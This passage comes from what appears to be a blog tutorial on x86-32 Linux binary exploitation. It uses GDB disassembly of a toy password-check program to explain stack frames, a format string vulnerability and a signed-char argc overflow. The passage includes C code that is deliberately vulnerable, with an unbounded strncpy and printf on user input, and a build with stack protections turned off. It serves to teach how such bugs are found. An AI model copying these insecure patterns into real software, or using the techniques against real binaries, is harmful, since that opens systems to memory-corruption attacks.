span class="code-line"span class="go" 0x0804863b lt;+47gt;: call 0x80484a0 lt;puts@pltgt;/span/span
span class="code-line"span class="go" 0x08048640 lt;+52gt;: mov DWORD PTR [esp],0x1/span/span
span class="code-line"span class="go" 0x08048647 lt;+59gt;: call 0x80484c0 lt;exit@pltgt;/span/span
span class="code-line"span class="go" 0x0804864c lt;+64gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="go" 0x0804864f lt;+67gt;: add eax,0x4/span/span
span class="code-line"span class="go" 0x08048652 lt;+70gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="go" 0x08048654 lt;+72gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x08048657 lt;+75gt;: call 0x80486a2 lt;checkpassgt;/span/span
span class="code-line"span class="go" 0x0804865c lt;+80gt;: mov DWORD PTR [esp+0x1c],eax/span/span
span class="code-line"span class="go" 0x08048660 lt;+84gt;: cmp DWORD PTR [esp+0x1c],0x0/span/span
span class="code-line"span class="go" 0x08048665 lt;+89gt;: je 0x804869b lt;main+143gt;/span/span
span class="code-line"span class="go" 0x08048667 lt;+91gt;: mov DWORD PTR [esp],0x8048804/span/span
span class="code-line"span class="go" 0x0804866e lt;+98gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"span class="go" 0x08048673 lt;+103gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="go" 0x08048676 lt;+106gt;: add eax,0x4/span/span
span class="code-line"span class="go" 0x08048679 lt;+109gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="go" 0x0804867b lt;+111gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x0804867e lt;+114gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"span class="go" 0x08048683 lt;+119gt;: mov DWORD PTR [esp],0xa/span/span
span class="code-line"span class="go" 0x0804868a lt;+126gt;: call 0x8048500 lt;putchar@pltgt;/span/span
span class="code-line"span class="go" 0x0804868f lt;+131gt;: mov DWORD PTR [esp],0x1/span/span
span class="code-line"span class="go" 0x08048696 lt;+138gt;: call 0x80484c0 lt;exit@pltgt;/span/span
span class="code-line"span class="go" 0x0804869b lt;+143gt;: call 0x80486f0 lt;printfilegt;/span/span
span class="code-line"span class="go" 0x080486a0 lt;+148gt;: leave /span/span
span class="code-line"span class="go" 0x080486a1 lt;+149gt;: ret /span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe first 4 instructions are the a href="https://en.wikipedia.org/wiki/Function_prologue" target="_blank"function prologue/a (lines 3, 4, 5 and 6). Here the a href="http://en.citizendium.org/wiki/Stack_frame" target="_blank"stack frame/a is set up./p
pThe last 2 instructions are the a href="https://en.wikipedia.org/wiki/Function_prologue#Epilogue" target="_blank"function epilogue/a (lines 39 and 40). Here the codeleave/code instruction preforms the inverse of what the prologue did./p
pLooking at the prologue and epilogue we can see that the a href="https://en.wikipedia.org/wiki/Calling_convention" target="_blank"calling convention/a is probably a href="https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl" target="_blank"cdecl/a./p
pI will not go into calling conventions much here, because it isn't terribly relevant although its important to know what they are and the differences, but a calling convention basically defines how a function is called./p
pBack on topic, initially when looking for a vulnerability we should check some of the known vulnerable functions commonly used by developers. The main 1's are the codeprintf/code family of functions and the string copying/moving functions./p
pLooking back at our list of functions, a couple of interest are being used. Mainly codeprintf/code and codestrncpy/code. In the main function though only codeprintf/code out of those 2 is being used. Let's examine them a little closer./p
pThe first, on line 10, is set up on line 9 with an argument:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go" 0x0804861b lt;+15gt;: mov DWORD PTR [esp],0x80487f0/span/span
span class="code-line"span class="go" 0x08048622 lt;+22gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWhat the first instruction is doing here is moving the address code0x80487f0/code into the address strongpointed to/strong by the a href="http://www.c-jump.com/CIS77/ASM/Stack/S77_0040_esp_register.htm" target="_blank"ESP register/a. These 2 lines relate to line 17 in our source code above./p
pThe ESP register points to the top of the a href="https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29" target="_blank"stack/a and in the cdecl calling convension, before the actual call to the function, its arguments are strongpushed/strong onto the stack in reverse order. As there is only 1 argument to this call only 1 is put on the stack./p
pTo be honest, this call doesn't look like its going to be of interest as the argument is a static address and it points to the a href="https://en.wikipedia.org/wiki/Code_segment" target="_blank"text segment/a of memory which isn't writable, but we can check the value of this just to make sure:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp gp-VirtualEnv"(gdb)/span span class="go"x/s 0x80487f0/span/span
span class="code-line"span class="go"0x80487f0: quot;Usage: quot;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo it looks to be part of an error message. The next call to codeprintf/code looks more interesting but first we need to understand how a stack frame is arranged in an application like this./p
h2Stack Frames/h2
pBelow is the top of an example stack frame which is getting ready for a function call:/p
pimg src="/assets/images/x86-32-linux/stack1.jpg" width="300"/p
pHere we are unable to see the base pointer (EBP) but we can see the stack pointer (ESP) which always points to the top of the stack./p
pPutting arguments on the stack can be done in a number of ways. Firstly it can be done using the codepush/code instruction as follows:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nf"push/spanspan class="w" /spanspan class="nb"eax/spanspan class="w"/span/span
span class="code-line"span class="nf"push/spanspan class="w" /spanspan class="mh"0x80487f0/spanspan class="w"/span/span
span class="code-line"span class="nf"push/spanspan class="w" /spanspan class="p"[/spanspan class="nb"ebp/spanspan class="o"+/spanspan class="nv"c/spanspan class="p"]/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pHere the value is the EAX register is being strongpushed/strong onto the stack as the third argument (or "ARG 3" in our diagram), then the static value code0x80487f0/code as the second argument and finally EBP+c (or EBP+12, which is usually the second argument to the current function) as the first argument./p
pThe codepush/code instruction automatically adjusts the value of ESP accordingly but it can also be done manually:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nf"sub/spanspan class="w" /spanspan class="nb"esp/spanspan class="p",/spanspan class="w" /spanspan class="mh"0xc/spanspan class="w"/span/span
span class="code-line"span class="nf"mov/spanspan class="w" /spanspan class="p"[/spanspan class="nb"esp/spanspan class="o"+/spanspan class="mi"8/spanspan class="p"],/spanspan class="w" /spanspan class="nb"eax/spanspan class="w"/span/span
span class="code-line"span class="nf"mov/spanspan class="w" /spanspan class="p"[/spanspan class="nb"esp/spanspan class="o"+/spanspan class="mi"4/spanspan class="p"],/spanspan class="w" /spanspan class="mh"0x80487f0/spanspan class="w"/span/span
span class="code-line"span class="nf"mov/spanspan class="w" /spanspan class="p"[/spanspan class="nb"esp/spanspan class="p"],/spanspan class="w" /spanspan class="p"[/spanspan class="nb"ebp/spanspan class="o"+/spanspan class="nv"c/spanspan class="p"]/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis set of instructions are functionally the same as the previous. These are followed by a codecall/code instruction and after the call instruction our stack looks like this:/p
pimg src="/assets/images/x86-32-linux/stack2.jpg" width="300"/p
pThe codecall/code instruction autmatically strongpushes/strong the memory address of the next instruction onto the stack. This is done so that when a function returns the application knows where to start executing instructions./p
pInside the function that we have just called we start executing that functions prologue. First there is a codepush ebp/code instruction which does this to the stack:/p
pimg src="/assets/images/x86-32-linux/stack3.jpg" width="300"/p
pAfter that it executes codemov ebp, esp/code:/p
pimg src="/assets/images/x86-32-linux/stack4.jpg" width="300"/p
pLastly any space for needed for local variables is subtracted from ESP (codesub esp, 0x8/code), so our stack ends up like this:/p
pimg src="/assets/images/x86-32-linux/stack5.jpg" width="300"/p
pEBP always points to the start of the current functions stack frame and ESP to the top of the stack so if we call another function inside the current function the same process would happen./p
pThe functions epilogue does the opposite, in the application we are debugging it just have to codeleave/code instruction. The codeleave/code instruction automates the cleanup of the stack frame./p
pIn our example stack, the codeleave/code function would be equivalent to:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nf"add/spanspan class="w" /spanspan class="nb"esp/spanspan class="p",/spanspan class="w" /spanspan class="mh"0x8/spanspan class="w"/span/span
span class="code-line"span class="nf"pop/spanspan class="w" /spanspan class="nb"ebp/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis would bring our stack frame back to this:/p
pimg src="/assets/images/x86-32-linux/stack2.jpg" width="300"/p
pAnd then the final coderet/code instruction would remove the strongRET ADDR/strong from the stack setting everything back to how it was before the function call, coderet/code essentially does codepop eip/code./p
h2Juicy Bits Continued/h2
pNow that we understand how the stack works we can have a look at that second call to codeprintf/code. The first argument to codeprintf/code is always the format string so when looking for a format string vulnerability we are trying to figure out if we can control the first argument./p
pThe relevant lines that setup and call codeprintf/code are:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x08048627 lt;+27gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="x" 0x0804862a lt;+30gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="x" 0x0804862c lt;+32gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 0x0804862f lt;+35gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThese 4 lines of code is actually line 18 in the source of the application. Line 1 moves the second argument (codeebp+0xc/code) (the second argument is always +C or +12 because EBP points to the old EBP, +4 points to the return address and +8 points to the first argument) into EAX./p
pIn C the second argument to the main function is a list of pointers to the actual application arguments./p
pBecause this argument is an array of pointers, line 2 moves the first pointer in this array into EAX (this normally points to the path of the application itself)./p
pThis pointer is moved to the address pointed to by ESP (the top of the stack) and finally codeprintf/code is called. This shows that only 1 argument was given and that argument is the application path./p
pWe can check this using codegdb/code but first there was a conditional statement which determined if this code got executed:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x08048615 lt;+9gt;: cmp DWORD PTR [ebp+0x8],0x1/span/span
span class="code-line"span class="x" 0x08048619 lt;+13gt;: jg 0x804864c lt;main+64gt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is the codeif/code statement on line 16 of the source code./p
pLine 1 compares the first argument codeebp+0x8/code, with 1 and jumps to code0x804864c/code if the first argument is greater than 1. As you can see the assembly condition is the opposite to what is in the source code, this is often the case./p
pIn C the first argument to the main function is the number of arguments give to the application on the command line so to enter the section of code we want to analyse we just need to give the application 1 argument (the name of the application is considered the first argument so there is always at least 1)./p
h3Integer Overflow/h3
pThe codejg/code instruction means that the numbers that are being compared are signed (it would be codeja/code if they were unsigned) and because there is no bound checking done on codeebp+0x8/code, it is vulnerable to an integer overflow:/p
pI wanted to demostrate this as soon as I realised but because it is an integer I need to send at least 2147483647 arguments, I couldn't do this on my test machine because there just isn't enough RAM./p
pSo in the name of science, I rewrote the application so that the codeargc/code argument (or the number of arguments passed to the main function) is a codechar/code instead, here is my new application:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdio.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;string.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdlib.hgt;/spanspan class="cp"/span/span
span class="code-line"/span
span class="code-line"span class="cp"#define PASS quot;topsecretpasswordquot;/span/span
span class="code-line"/span
span class="code-line"span class="cp"#define SFILE quot;secret.txtquot;/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"checkpass/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="n"p/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"printfile/spanspan class="p"();/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"main/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="n"argc/spanspan class="p",/spanspan class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="o"**/spanspan class="n"argv/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"argc/spanspan class="w" /spanspan class="o"lt;/spanspan class="w" /spanspan class="mi"2/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Usage: quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="n"argv/spanspan class="p"[/spanspan class="mi"0/spanspan class="p"]);/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot; lt;passwordgt;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"checkpass/spanspan class="p"(/spanspan class="n"argv/spanspan class="p"[/spanspan class="mi"1/spanspan class="p"]);/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"r/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="mi"0/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Wrong password: quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="n"argv/spanspan class="p"[/spanspan class="mi"1/spanspan class="p"]);/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printfile/spanspan class="p"();/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"checkpass/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="n"a/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"p/spanspan class="p"[/spanspan class="mi"512/spanspan class="p"];/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"strncpy/spanspan class="p"(/spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"a/spanspan class="p",/spanspan class="w" /spanspan class="n"strlen/spanspan class="p"(/spanspan class="n"a/spanspan class="p")/spanspan class="o"+/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"strcmp/spanspan class="p"(/spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"PASS/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"return/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"printfile/spanspan class="p"()/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"FILE/spanspan class="w" /spanspan class="o"*/spanspan class="n"f/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"c/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"f/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"fopen/spanspan class="p"(/spanspan class="n"SFILE/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;rquot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"f/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"while/spanspan class="w" /spanspan class="p"((/spanspan class="n"c/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"getc/spanspan class="p"(/spanspan class="n"f/spanspan class="p"))/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="n"EOF/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"putchar/spanspan class="p"(/spanspan class="n"c/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"fclose/spanspan class="p"(/spanspan class="n"f/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w" /spanspan class="k"else/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Error opening file: quot;/spanspan class="w" /spanspan class="n"SFILE/spanspan class="w" /spanspan class="s"quot;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pHere is the quick demonstration:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"root@dev:/home/testuser# /spangcc -z execstack -fno-stack-protector -o app-intof app-intof.c /span
span class="code-line"span class="gp"root@dev:/home/testuser# ./app-intof $/spanspan class="o"(/spanpython -c span class="s1"#39;print quot;A quot;*126#39;/spanspan class="o")/span/span
span class="code-line"span class="go"Wrong password: A/span/span
span class="code-line"span class="gp"root@dev:/home/testuser# ./app-intof $/spanspan class="o"(/spanpython -c span class="s1"#39;print quot;A quot;*127#39;/spanspan class="o")/span/span
span class="code-line"span class="go"Usage: ./app-intof lt;passwordgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWhat is happening here is that the argument codeargc/code is being interpreted as a signed char and the max value for this type of variable is 127:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"root@dev:/home/testuser# /spangrep SCHAR_MAX /usr/include/limits.h /span
span class="code-line"span class="gp"# /spandefine SCHAR_MAX span class="m"127/span/span
span class="code-line"span class="gp"# /spandefine CHAR_MAX SCHAR_MAX/span
span class="code-line"/code/pre/div
/td/tr/table
pAs the application is the first argument, we can have another 126 argument before the variable overflows and becomes -128, which is obviously smaller than 2./p
h2Back To The Juicy Bits/h2
pSo now we know how to get to the code we want to analyse, which is:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x08048627 lt;+27gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="x" 0x0804862a lt;+30gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="x" 0x0804862c lt;+32gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 0x0804862f lt;+35gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pLet's set a breakpoint on line 1 here (or code0x08048627/code) and run the application without any arguments./p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp gp-VirtualEnv"(gdb)/span span class="go"break *0x08048627/span/span
span class="code-line"span class="go"Breakpoint 1 at 0x8048627/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"Starting program: /home/testuser/app /span/span
span class="code-line"/span
span class="code-line"span class="go"Breakpoint 1, 0x08048627 in main ()/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble $eip,+10/span/span
span class="code-line"span class="go"Dump of assembler code from 0x8048627 to 0x8048631:/span/span
span class="code-line"span class="go"=gt; 0x08048627 lt;main+27gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="go" 0x0804862a lt;main+30gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="go" 0x0804862c lt;main+32gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x0804862f lt;main+35gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"x/xw $ebp+0xc/span/span
span class="code-line"span class="go"0xbfc674f4: 0xbfc67594/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"x/xw 0xbfc67594/span/span
span class="code-line"span class="go"0xbfc67594: 0xbfc6795f/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"x/s 0xbfc6795f/span/span
span class="code-line"span class="go"0xbfc6795f: quot;/home/testuser/appquot;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis shows that our assumptions were correct and that there is likely a format string vulnerability here which we can exploit by chaning the name of the application (or creating a symlink as in a href="/x86-32-linux/2014/05/20/plain-format-string-vulnerability/"part 2/a./p
pWe also have a very similar set of codeprintf/code calls towards the end of the application:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x08048667 lt;+91gt;: mov DWORD PTR [esp],0x8048804/span/span
span class="code-line"span class="x" 0x0804866e lt;+98gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"span class="x" 0x08048673 lt;+103gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="x" 0x08048676 lt;+106gt;: add eax,0x4/span/span
span class="code-line"span class="x" 0x08048679 lt;+109gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="x" 0x0804867b lt;+111gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 0x0804867e lt;+114gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWe are interested in the second codeprintf/code here but to figure out how to get to it we need to have a look at the memory at code0x8048804/code which is printed just before./p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp gp-VirtualEnv"(gdb)/span span class="go"x/s 0x8048804/span/span
span class="code-line"span class="go"0x8048804: quot;Wrong password: quot;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo we get to this section of code when we give a wrong password. The call to the codeprintf/code in question is the same as previous except 4 is added to EAX before the pointer is followed. This suggests the second argument is being printed (also the previous codeprintf/code supports our theory), but let's check./p
pLet's set a breakpoint and examine the memory again:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp gp-VirtualEnv"(gdb)/span span class="go"info breakpoints/span/span
span class="code-line"span class="go"Num Type Disp Enb Address What/span/span
span class="code-line"span class="go"1 breakpoint keep y 0x08048627 lt;main+27gt;/span/span
